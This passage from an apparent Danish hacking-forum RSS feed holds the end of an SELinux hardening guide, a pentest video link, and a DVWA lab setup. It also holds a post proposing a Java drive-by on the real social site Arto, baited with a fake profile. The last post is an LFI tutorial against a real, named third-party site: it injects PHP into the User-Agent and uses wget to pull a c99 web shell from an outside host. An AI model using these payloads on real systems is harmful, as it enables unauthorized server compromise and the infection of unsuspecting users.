type=SYSCALL msg=audit(1418501042.669:11): arch=c000003e syscall=5 success=yes exit=0 a0=4 a1=7fff95fbae00 a2=7fff95fbae00 a3=0 items=0 ppid=2712 pid=2713 auid=4294967295 uid=101 gid=104 euid=101 suid=101 fsuid=101 egid=104 sgid=104 fsgid=104 tty=(none) ses=4294967295 comm="exim4" exe="/usr/sbin/exim4" subj=system_u:system_r:exim_t:s0 key=(null)<br />
type=LOGIN msg=audit(1418501049.988:12): login pid=2749 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=1<br />
type=LOGIN msg=audit(1418501074.436:13): login pid=2799 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=2<br />
type=LOGIN msg=audit(1418501821.801:14): login pid=2864 uid=0 old auid=4294967295 new auid=0 old ses=4294967295 new ses=3<br />
root@selinux:~# </blockquote>
<br />
Her kan det ses, at exim4, forsøger at gøre nogle ting, som ikke ville være tilladt, hvis SELinux var i Enforcing mode.<br />
Man kan vælge at rette den policy, exim4 bruger, men exim4 skal alligevel ikke bruges, så denne fjernes med kommandoen rcconf:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# rcconf --off exim4<br />
update-rc.d: using dependency based boot sequencing<br />
update-rc.d: warning:  start runlevel arguments (none) do not match exim4 Default-Start values (2 3 4 5)<br />
update-rc.d: warning:  stop runlevel arguments (0 1 2 3 4 5 6) do not match exim4 Default-Stop values (0 1 6)<br />
root@selinux:~#</blockquote>
<br />
Og så stopper vi exim4 processen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# service exim4 stop<br />
[ ok ] Stopping MTA: exim4_listener.<br />
root@selinux:~#</blockquote>
<br />
For en sikkerheds skyld, kan vi kontrollere at alt har fået labels:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# fixfiles relabel<br />
<br />
    Files in the /tmp directory may be labeled incorrectly, this command<br />
    can remove all files in /tmp.  If you choose to remove files from /tmp,<br />
    a reboot will be required after completion.<br />
<br />
    Do you wish to clean out the /tmp directory [N]? n<br />
Relabeling / /dev /dev/pts /run /run/lock /run/shm /sys<br />
**************************************************************<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
find: unknown predicate `-context'<br />
root@selinux:~#</blockquote>
<br />
De fire "find: unknown predicate `-context'" er harmløse.<br />
<br />
Lad os sætte SELinux i Enforcing mode:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:~# setenforce enforcing<br />
root@selinux:~# sestatus<br />
SELinux status:                 enabled<br />
SELinuxfs mount:                /sys/fs/selinux<br />
SELinux root directory:         /etc/selinux<br />
Loaded policy name:             default<br />
Current mode:                   enforcing<br />
Mode from config file:          permissive<br />
Policy MLS status:              enabled<br />
Policy deny_unknown status:     denied<br />
Max kernel policy version:      26<br />
root@selinux:~#</blockquote>
<br />
Nu er SELinux kørende i Enforcing mode.<br />
Som man kan se i ovenstående, er vores Current mode Enforcing, men Mode from config file, er Permissive.<br />
Dette hjælper også med, ikke at få lukket sig selv ude, hvis man får lavet noget, for restriktivt.<br />
Det sker dog normalt ikke, når man kører i Targeted Enforcement (TE) mode, hvor brugere generelt set, stadig får lov at være brugere.<br />
Root er stadig root.<br />
<br />
For at gøre dette permanent, skal man rette /etc/selinux/config, så man kører enforcing, også efter en reboot:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/etc/selinux# cat config<br />
# This file controls the state of SELinux on the system.<br />
# SELINUX= can take one of these three values:<br />
# enforcing - SELinux security policy is enforced.<br />
# permissive - SELinux prints warnings instead of enforcing.<br />
# disabled - No SELinux policy is loaded.<br />
SELINUX=permissive<br />
# SELINUXTYPE= can take one of these two values:<br />
# default - equivalent to the old strict and targeted policies<br />
# mls     - Multi-Level Security (for military and educational use)<br />
# src     - Custom policy built from source<br />
SELINUXTYPE=default<br />
<br />
# SETLOCALDEFS= Check local definition changes<br />
SETLOCALDEFS=0<br />
root@selinux:/etc/selinux#</blockquote>
Sæt SELINUX til enforcing, SELINUX=enforcing i /etc/selinux/config<br />
<br />
For at være sikker på, ingen retter i denne, kan man sætte filen til at være immutable, så ikke engang root kan ændre eller slette filen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>root@selinux:/etc/selinux# chattr +i /etc/selinux/config<br />
root@selinux:/etc/selinux# lsattr /etc/selinux/<br />
-------------e-- /etc/selinux/semanage.conf<br />
-------------e-- /etc/selinux/default<br />
----i--------e-- /etc/selinux/config<br />
-------------e-- /etc/selinux/restorecond_user.conf<br />
-------------e-- /etc/selinux/restorecond.conf<br />
root@selinux:/etc/selinux#</blockquote>
<br />
Done! God fornøjelse.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[FULD Pentest guide !]]></title>
			<link>https://www.shellsec.pw/traad-fuld-pentest-guide</link>
			<pubDate>Thu, 13 Nov 2014 14:22:13 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-fuld-pentest-guide</guid>
			<description><![CDATA[Hej folkens<br />
<br />
<span style="color: #FFA500;" class="mycode_color">"Share the gold"</span> et glimrende koncept. Jeg fandt denne her<span style="color: #32CD32;" class="mycode_color"> video tutorial på youtube</span>, som jeg selv finder helt genial.<br />
<br />
Hvis man ligesom jeg selv i starten, har problemer med at forstå hele konceptet omkring at <span style="color: #FF0000;" class="mycode_color">finde og exploite sårbarheder</span>, er denne video tutorial perfekt.<br />
<br />
Der bliver gennemgået alle basic tools til at <span style="color: #FF0000;" class="mycode_color">penteste både boxe og webapplikationer</span>. Der er <span style="color: #32CD32;" class="mycode_color">98 videoer</span>, som eftersigende, skulle gennemgå alt kursus materialet for <span style="color: #1E90FF;" class="mycode_color">SANS "Ethical Hacking"</span> kurset.<br />
<br />
Det er en blanding af <span style="color: #FF0000;" class="mycode_color">"Hands-on" og koncept forklaring</span>, og giver en rigtig god indsigt i hvor man kan starte ud. <br />
<br />
Jeg vil foreslå alle "ny interesserede" at se den her video tutorial igennem, da den spare en for et TON af spørgsmål som man nok sidder med i starten :)<br />
<br />
Jeg håber det kan bruges:<br />
<br />
<span style="color: #FF0000;" class="mycode_color"><a href="https://www.youtube.com/playlist?list=PL0xX_0qcJn1joUSTjX-lN2sUWhno_SU0L" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/playlist?list=PL...UWhno_SU0L</a></span><span style="color: #1E90FF;" class="mycode_color"></span><br />
<br />
Love the colors? :P<br />
<br />
//Kav<br />
<br />
Ps. Jeg har selv gennemgået hele kurset, så hvis man har brug for hjælp eller forklaring, er i velkomne til at hive fat i mig.]]></description>
			<content:encoded><![CDATA[Hej folkens<br />
<br />
<span style="color: #FFA500;" class="mycode_color">"Share the gold"</span> et glimrende koncept. Jeg fandt denne her<span style="color: #32CD32;" class="mycode_color"> video tutorial på youtube</span>, som jeg selv finder helt genial.<br />
<br />
Hvis man ligesom jeg selv i starten, har problemer med at forstå hele konceptet omkring at <span style="color: #FF0000;" class="mycode_color">finde og exploite sårbarheder</span>, er denne video tutorial perfekt.<br />
<br />
Der bliver gennemgået alle basic tools til at <span style="color: #FF0000;" class="mycode_color">penteste både boxe og webapplikationer</span>. Der er <span style="color: #32CD32;" class="mycode_color">98 videoer</span>, som eftersigende, skulle gennemgå alt kursus materialet for <span style="color: #1E90FF;" class="mycode_color">SANS "Ethical Hacking"</span> kurset.<br />
<br />
Det er en blanding af <span style="color: #FF0000;" class="mycode_color">"Hands-on" og koncept forklaring</span>, og giver en rigtig god indsigt i hvor man kan starte ud. <br />
<br />
Jeg vil foreslå alle "ny interesserede" at se den her video tutorial igennem, da den spare en for et TON af spørgsmål som man nok sidder med i starten :)<br />
<br />
Jeg håber det kan bruges:<br />
<br />
<span style="color: #FF0000;" class="mycode_color"><a href="https://www.youtube.com/playlist?list=PL0xX_0qcJn1joUSTjX-lN2sUWhno_SU0L" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/playlist?list=PL...UWhno_SU0L</a></span><span style="color: #1E90FF;" class="mycode_color"></span><br />
<br />
Love the colors? :P<br />
<br />
//Kav<br />
<br />
Ps. Jeg har selv gennemgået hele kurset, så hvis man har brug for hjælp eller forklaring, er i velkomne til at hive fat i mig.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Arto og JDB/Java Drive By (Proof of concept)]]></title>
			<link>https://www.shellsec.pw/traad-arto-og-jdb-java-drive-by-proof-of-concept</link>
			<pubDate>Sun, 12 Oct 2014 19:18:16 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-arto-og-jdb-java-drive-by-proof-of-concept</guid>
			<description><![CDATA[Er sikker på at de fleste er rimelig familiære med Arto, og i ved sikkert også at det er brugt af rigtig mange personer i alle aldre.<br />
<br />
Jeg har tidligere bevist at XSS ikke er noget problem (persistent vel og mærket!).<br />
Så nu kiggede jeg lidt på det igen, og fandt så ud af at det er muligt at ligge en JDB på sin profil.<br />
<br />
JEG HAR IKKE GJORT DET ENDNU, DET ER BLOT "PROOF OF CONCEPT"<br />
<br />
<a href="http://www.arto.com/section/user/profile/?id=5796240" target="_blank" rel="noopener" class="mycode_url">http://www.arto.com/section/user/profile/?id=5796240</a><br />
Dette link leder til en profil som "indeholder" en JDB. Dette er selvfølgelig ikke tilfældet, da jeg ikke vil infect jer! Men den fortæller dig at browseren gerne vil installere et plugin. Chrome blokere det, og sætter en lille label i URL adresse baren, hvor der står plugin er blokeret. Firefox beder om lov til at bruge Java.<br />
<br />
Det var en lille sjov idé som jeg nok tænkte at nogle af jer kunne bruge! Sæt et fake profil op, med en tøs der har nogle store jader, så er der garanteret trafik ;) Husk endelig filter og bruncreme! ;D<br />
<br />
Tjek kildekoden på linket, og søg efter "indsæturlforjdbher" så kan i nok godt finde frem til resten <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /> Hvis ikke så PM, så skal jeg nok sende en lille forklaring <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /><br />
<hr class="mycode_hr" />
Det skal siges! Det kræver en hel del fin pudsning! og jeg er ikke selv mester i JDB, men hvis nu der skulle sidde nogle som er, så ville det jo kun være en god ting at dele <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" />]]></description>
			<content:encoded><![CDATA[Er sikker på at de fleste er rimelig familiære med Arto, og i ved sikkert også at det er brugt af rigtig mange personer i alle aldre.<br />
<br />
Jeg har tidligere bevist at XSS ikke er noget problem (persistent vel og mærket!).<br />
Så nu kiggede jeg lidt på det igen, og fandt så ud af at det er muligt at ligge en JDB på sin profil.<br />
<br />
JEG HAR IKKE GJORT DET ENDNU, DET ER BLOT "PROOF OF CONCEPT"<br />
<br />
<a href="http://www.arto.com/section/user/profile/?id=5796240" target="_blank" rel="noopener" class="mycode_url">http://www.arto.com/section/user/profile/?id=5796240</a><br />
Dette link leder til en profil som "indeholder" en JDB. Dette er selvfølgelig ikke tilfældet, da jeg ikke vil infect jer! Men den fortæller dig at browseren gerne vil installere et plugin. Chrome blokere det, og sætter en lille label i URL adresse baren, hvor der står plugin er blokeret. Firefox beder om lov til at bruge Java.<br />
<br />
Det var en lille sjov idé som jeg nok tænkte at nogle af jer kunne bruge! Sæt et fake profil op, med en tøs der har nogle store jader, så er der garanteret trafik ;) Husk endelig filter og bruncreme! ;D<br />
<br />
Tjek kildekoden på linket, og søg efter "indsæturlforjdbher" så kan i nok godt finde frem til resten <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /> Hvis ikke så PM, så skal jeg nok sende en lille forklaring <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" /><br />
<hr class="mycode_hr" />
Det skal siges! Det kræver en hel del fin pudsning! og jeg er ikke selv mester i JDB, men hvis nu der skulle sidde nogle som er, så ville det jo kun være en god ting at dele <img src="https://www.shellsec.pw/images/smilies/facebook/smile.png" alt="Smile" title="Smile" class="smilie smilie_79" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Opsætning af DVWA]]></title>
			<link>https://www.shellsec.pw/traad-opsaetning-af-dvwa</link>
			<pubDate>Sat, 15 Mar 2014 12:14:59 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-opsaetning-af-dvwa</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Introduktion</span></span></span></span><br />
Dette er en Quick-and-dirty guide til opsætning af DVWA. Med DVWA har du et lukket miljø hvor du lovligt kan teste XSS, SQLi, CSRF, Brute force og meget mere. Desuden har vi i arrangør teamet planer om at benytte DVWA til forskellige udfordringer, så det kan være nødigt at havde en lokal kopi af dette så man kan arbejde med disse udfoldninger i ro og mag.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Installation af WAMP</span></span></span></span><br />
WAMP er en forkortelse for Windows, Apache, MySQL, PHP og en pendant til LAMP. <br />
Den indeholder alle de nødvendige modulers til at køre en webserver lokalt på ens Windows computer. <br />
Dette er en nødvendighed for at kunne opsætte DVWA. Installationen af WAMP er forholdsvis enkel og jeg vil derfor ikke komme nærmere ind på dette. <br />
Skulle nogen havde problemer med opsætningen er I velkommen til at spørge. <br />
Programmet kan hente her: <a href="http://www.wampserver.com/%20" target="_blank" rel="noopener" class="mycode_url">http://www.wampserver.com/ </a><br />
<br />
Når WAMP er blevet installeret vil I kunne se et grønt ikon i trayen.<br />
Dette indikere at Wamp er korrekt installeret og alle services kører.<br />
Er ikonet gult eller rødt, er det et problem med en af Wamp services. <br />
Igen er spørgsmål velkomne hvis dette skulle ske.<br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/wamp_launch_zps1107182f.png" alt="[Billede: wamp_launch_zps1107182f.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Installation af DVWA</span></span></span></span><br />
<br />
DVWA står for Damn Vulnerable Web Application og er et milijø lavet specifikt til at være sårbart således man kan teste teste disse sårbarheder og hvordan man sikre mod dem. <br />
Download DVWA fra: <a href="http://www.dvwa.co.uk/" target="_blank" rel="noopener" class="mycode_url">http://www.dvwa.co.uk/</a><br />
<br />
1.	Udpak den hentede fil <span style="font-weight: bold;" class="mycode_b">DVWA-1.0.8.zip</span> til <span style="font-weight: bold;" class="mycode_b">C:\wamp\www\DVWA-1.0.8</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Untitled_zpsd17fc2bd.png" alt="[Billede: Untitled_zpsd17fc2bd.png]" class="mycode_img" /><br />
<br />
DVWA skal bruge en database for at fungere korrekt. Databaseforbindelsen bliver defineret i filen config.inc.php. <br />
For at gøre det så nemt som muligt vil vi i dette eksampel blot benytte databasen test som automatisk bliver oprettet ved installation af WAMP. <br />
Da der som standard ikke er et password på denne er det eneste vi skal bruge brugernavnet root. <br />
<br />
2.	Åben filen <span style="font-weight: bold;" class="mycode_b">C:\wamp\www\DVWA-1.0.8\config\config.inc.php</span><br />
<br />
3.	Ændre værdien for <span style="font-weight: bold;" class="mycode_b">db_database</span> til <span style="font-weight: bold;" class="mycode_b">test</span><br />
<br />
4.	Fjern værdien for for <span style="font-weight: bold;" class="mycode_b">db_password</span><br />
<br />
5.	Gem filen <span style="font-weight: bold;" class="mycode_b">config.inc.php</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Capture2_zps147dde13.png" alt="[Billede: Capture2_zps147dde13.png]" class="mycode_img" /><br />
 <br />
6.	Åbn en browser og tilgå <span style="font-weight: bold;" class="mycode_b">localhost/DVWA-1.0.8/setup.php</span><br />
<br />
7.	Klik på knappen <span style="font-weight: bold;" class="mycode_b">Create / reset Database</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Capture3_zpse36c41d7.png" alt="[Billede: Capture3_zpse36c41d7.png]" class="mycode_img" /><br />
<br />
<br />
Done - Happy hacking!]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Introduktion</span></span></span></span><br />
Dette er en Quick-and-dirty guide til opsætning af DVWA. Med DVWA har du et lukket miljø hvor du lovligt kan teste XSS, SQLi, CSRF, Brute force og meget mere. Desuden har vi i arrangør teamet planer om at benytte DVWA til forskellige udfordringer, så det kan være nødigt at havde en lokal kopi af dette så man kan arbejde med disse udfoldninger i ro og mag.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Installation af WAMP</span></span></span></span><br />
WAMP er en forkortelse for Windows, Apache, MySQL, PHP og en pendant til LAMP. <br />
Den indeholder alle de nødvendige modulers til at køre en webserver lokalt på ens Windows computer. <br />
Dette er en nødvendighed for at kunne opsætte DVWA. Installationen af WAMP er forholdsvis enkel og jeg vil derfor ikke komme nærmere ind på dette. <br />
Skulle nogen havde problemer med opsætningen er I velkommen til at spørge. <br />
Programmet kan hente her: <a href="http://www.wampserver.com/%20" target="_blank" rel="noopener" class="mycode_url">http://www.wampserver.com/ </a><br />
<br />
Når WAMP er blevet installeret vil I kunne se et grønt ikon i trayen.<br />
Dette indikere at Wamp er korrekt installeret og alle services kører.<br />
Er ikonet gult eller rødt, er det et problem med en af Wamp services. <br />
Igen er spørgsmål velkomne hvis dette skulle ske.<br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/wamp_launch_zps1107182f.png" alt="[Billede: wamp_launch_zps1107182f.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-family: Courier;" class="mycode_font"><span style="color: #2ea2e8;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">Installation af DVWA</span></span></span></span><br />
<br />
DVWA står for Damn Vulnerable Web Application og er et milijø lavet specifikt til at være sårbart således man kan teste teste disse sårbarheder og hvordan man sikre mod dem. <br />
Download DVWA fra: <a href="http://www.dvwa.co.uk/" target="_blank" rel="noopener" class="mycode_url">http://www.dvwa.co.uk/</a><br />
<br />
1.	Udpak den hentede fil <span style="font-weight: bold;" class="mycode_b">DVWA-1.0.8.zip</span> til <span style="font-weight: bold;" class="mycode_b">C:\wamp\www\DVWA-1.0.8</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Untitled_zpsd17fc2bd.png" alt="[Billede: Untitled_zpsd17fc2bd.png]" class="mycode_img" /><br />
<br />
DVWA skal bruge en database for at fungere korrekt. Databaseforbindelsen bliver defineret i filen config.inc.php. <br />
For at gøre det så nemt som muligt vil vi i dette eksampel blot benytte databasen test som automatisk bliver oprettet ved installation af WAMP. <br />
Da der som standard ikke er et password på denne er det eneste vi skal bruge brugernavnet root. <br />
<br />
2.	Åben filen <span style="font-weight: bold;" class="mycode_b">C:\wamp\www\DVWA-1.0.8\config\config.inc.php</span><br />
<br />
3.	Ændre værdien for <span style="font-weight: bold;" class="mycode_b">db_database</span> til <span style="font-weight: bold;" class="mycode_b">test</span><br />
<br />
4.	Fjern værdien for for <span style="font-weight: bold;" class="mycode_b">db_password</span><br />
<br />
5.	Gem filen <span style="font-weight: bold;" class="mycode_b">config.inc.php</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Capture2_zps147dde13.png" alt="[Billede: Capture2_zps147dde13.png]" class="mycode_img" /><br />
 <br />
6.	Åbn en browser og tilgå <span style="font-weight: bold;" class="mycode_b">localhost/DVWA-1.0.8/setup.php</span><br />
<br />
7.	Klik på knappen <span style="font-weight: bold;" class="mycode_b">Create / reset Database</span><br />
<br />
<img src="http://i57.photobucket.com/albums/g207/Spagnum/Capture3_zpse36c41d7.png" alt="[Billede: Capture3_zpse36c41d7.png]" class="mycode_img" /><br />
<br />
<br />
Done - Happy hacking!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[lfi via /proc/self/environ]]></title>
			<link>https://www.shellsec.pw/traad-lfi-via-proc-self-environ</link>
			<pubDate>Sat, 18 Jan 2014 18:50:20 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-lfi-via-proc-self-environ</guid>
			<description><![CDATA[Denne guide er en ”efterfølger” på min tidligere guide om lfi via php://input. Derfor vælger jeg at springe en smule af introduktion til lfi + identifikation af lfi-afsnittene over, da der allerede står lidt om det i <a href="http://www.shellsec.pw/showthread.php?tid=1368" target="_blank" rel="noopener" class="mycode_url">http://www.shellsec.pw/showthread.php?tid=1368</a><br />
<br />
ligesom i vores sidste øvelse har vi en lille forsøgskanin, som er <a href="http://deltabec.name/main.php?include=helena.html" target="_blank" rel="noopener" class="mycode_url">http://deltabec.name/main.php?include=helena.html</a><br />
<br />
<img src="http://i.imgur.com/Y7VacgX.png" alt="[Billede: Y7VacgX.png]" class="mycode_img" /><br />
<br />
Ligesom sidste gang kan vi hurtigt se, at include-parameteret ”sladrer” om serverens indhold ved brug af /etc/passwd<br />
<br />
Og det gør den også ved /proc/self/environ denne gang!<br />
<br />
<img src="http://i.imgur.com/cPWR4ho.png" alt="[Billede: cPWR4ho.png]" class="mycode_img" /><br />
<br />
Ligesom sidste gang vælger vi at bruge firefox som browser, og vi skal desuden bruge tamper data-plugin. Hvis I er helt uerfarne med, hvad tamper data bruges til, så kan det anbefales lige at læse på Spagnum's introduktion til det her <a href="http://www.shellsec.pw/showthread.php?tid=77" target="_blank" rel="noopener" class="mycode_url">http://www.shellsec.pw/showthread.php?tid=77</a><br />
<br />
Nu skal vi så prøve at aktivere vores tamper data plugin, hvorefter vi opdateren siden. Læg bla. Mærke til, hvad jeres user agent vil sige<br />
<br />
<img src="http://i.imgur.com/Dl1Pc1O.png" alt="[Billede: Dl1Pc1O.png]" class="mycode_img" /><br />
<br />
Efter vi prøver at lave tamper data, vil vi prøve at teste for RCE (remote code execution) ligesom sidste gang. Gør som i billedet nedenunder og skriv i UA-feltet &lt;?system('id');?&gt; og tryk på ok. Bagefter vil der komme nogle andre irrelevante ting, som den vil spørge om du vil bruge tamper data på. Ignorer dem og vent til siden loader<br />
Hvis alt er gjort rigtigt, kan vi nu se, at vi kan lave RCE via brugeren vceroot! Til til at shelle nu<br />
<br />
<img src="http://i.imgur.com/9fyJQxi.png" alt="[Billede: 9fyJQxi.png]" class="mycode_img" /><br />
<br />
For at lægge et shell op på serveren, skal I bare skrive ligesom i sidste vejledning &lt;?system('wget <a href="http://www.sh3ll.org/c99.txt" target="_blank" rel="noopener" class="mycode_url">http://www.sh3ll.org/c99.txt</a> -O shell.php');?&gt; eller noget andet, alt efter hvad jeres shell skal hedde :P<br />
<br />
Hvis alt er gået som det skulle, har vi nu et c99 shell liggende på <a href="http://deltabec.name/shell.php" target="_blank" rel="noopener" class="mycode_url">http://deltabec.name/shell.php</a> – ligesom sidst, vil jeg gerne bede folk om at lade være med at deface eller andet, da det kun ødelægger formålet med vejledningen, hvis folk defacer og admin patcher fejlen<br />
<br />
Håber det var noget folk kunne bruge til noget :)<br />
<br />
EDIT: Der lader til at være problemer med billederne, så linker lige til dem her i bunden som et midlertidigt alternativ - de er sorteret i rækkefølge<br />
<a href="http://s22.postimg.org/hestu751r/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/hestu751r/image.png</a><br />
<a href="http://s22.postimg.org/l9w7wro7j/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/l9w7wro7j/image.png</a><br />
<a href="http://s22.postimg.org/vik3oumvj/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/vik3oumvj/image.png</a><br />
ttp://s22.postimg.org/ojan38cb3/image.png]]></description>
			<content:encoded><![CDATA[Denne guide er en ”efterfølger” på min tidligere guide om lfi via php://input. Derfor vælger jeg at springe en smule af introduktion til lfi + identifikation af lfi-afsnittene over, da der allerede står lidt om det i <a href="http://www.shellsec.pw/showthread.php?tid=1368" target="_blank" rel="noopener" class="mycode_url">http://www.shellsec.pw/showthread.php?tid=1368</a><br />
<br />
ligesom i vores sidste øvelse har vi en lille forsøgskanin, som er <a href="http://deltabec.name/main.php?include=helena.html" target="_blank" rel="noopener" class="mycode_url">http://deltabec.name/main.php?include=helena.html</a><br />
<br />
<img src="http://i.imgur.com/Y7VacgX.png" alt="[Billede: Y7VacgX.png]" class="mycode_img" /><br />
<br />
Ligesom sidste gang kan vi hurtigt se, at include-parameteret ”sladrer” om serverens indhold ved brug af /etc/passwd<br />
<br />
Og det gør den også ved /proc/self/environ denne gang!<br />
<br />
<img src="http://i.imgur.com/cPWR4ho.png" alt="[Billede: cPWR4ho.png]" class="mycode_img" /><br />
<br />
Ligesom sidste gang vælger vi at bruge firefox som browser, og vi skal desuden bruge tamper data-plugin. Hvis I er helt uerfarne med, hvad tamper data bruges til, så kan det anbefales lige at læse på Spagnum's introduktion til det her <a href="http://www.shellsec.pw/showthread.php?tid=77" target="_blank" rel="noopener" class="mycode_url">http://www.shellsec.pw/showthread.php?tid=77</a><br />
<br />
Nu skal vi så prøve at aktivere vores tamper data plugin, hvorefter vi opdateren siden. Læg bla. Mærke til, hvad jeres user agent vil sige<br />
<br />
<img src="http://i.imgur.com/Dl1Pc1O.png" alt="[Billede: Dl1Pc1O.png]" class="mycode_img" /><br />
<br />
Efter vi prøver at lave tamper data, vil vi prøve at teste for RCE (remote code execution) ligesom sidste gang. Gør som i billedet nedenunder og skriv i UA-feltet &lt;?system('id');?&gt; og tryk på ok. Bagefter vil der komme nogle andre irrelevante ting, som den vil spørge om du vil bruge tamper data på. Ignorer dem og vent til siden loader<br />
Hvis alt er gjort rigtigt, kan vi nu se, at vi kan lave RCE via brugeren vceroot! Til til at shelle nu<br />
<br />
<img src="http://i.imgur.com/9fyJQxi.png" alt="[Billede: 9fyJQxi.png]" class="mycode_img" /><br />
<br />
For at lægge et shell op på serveren, skal I bare skrive ligesom i sidste vejledning &lt;?system('wget <a href="http://www.sh3ll.org/c99.txt" target="_blank" rel="noopener" class="mycode_url">http://www.sh3ll.org/c99.txt</a> -O shell.php');?&gt; eller noget andet, alt efter hvad jeres shell skal hedde :P<br />
<br />
Hvis alt er gået som det skulle, har vi nu et c99 shell liggende på <a href="http://deltabec.name/shell.php" target="_blank" rel="noopener" class="mycode_url">http://deltabec.name/shell.php</a> – ligesom sidst, vil jeg gerne bede folk om at lade være med at deface eller andet, da det kun ødelægger formålet med vejledningen, hvis folk defacer og admin patcher fejlen<br />
<br />
Håber det var noget folk kunne bruge til noget :)<br />
<br />
EDIT: Der lader til at være problemer med billederne, så linker lige til dem her i bunden som et midlertidigt alternativ - de er sorteret i rækkefølge<br />
<a href="http://s22.postimg.org/hestu751r/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/hestu751r/image.png</a><br />
<a href="http://s22.postimg.org/l9w7wro7j/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/l9w7wro7j/image.png</a><br />
<a href="http://s22.postimg.org/vik3oumvj/image.png" target="_blank" rel="noopener" class="mycode_url">http://s22.postimg.org/vik3oumvj/image.png</a><br />
ttp://s22.postimg.org/ojan38cb3/image.png]]></content:encoded>
		</item>
	</channel>
</rss>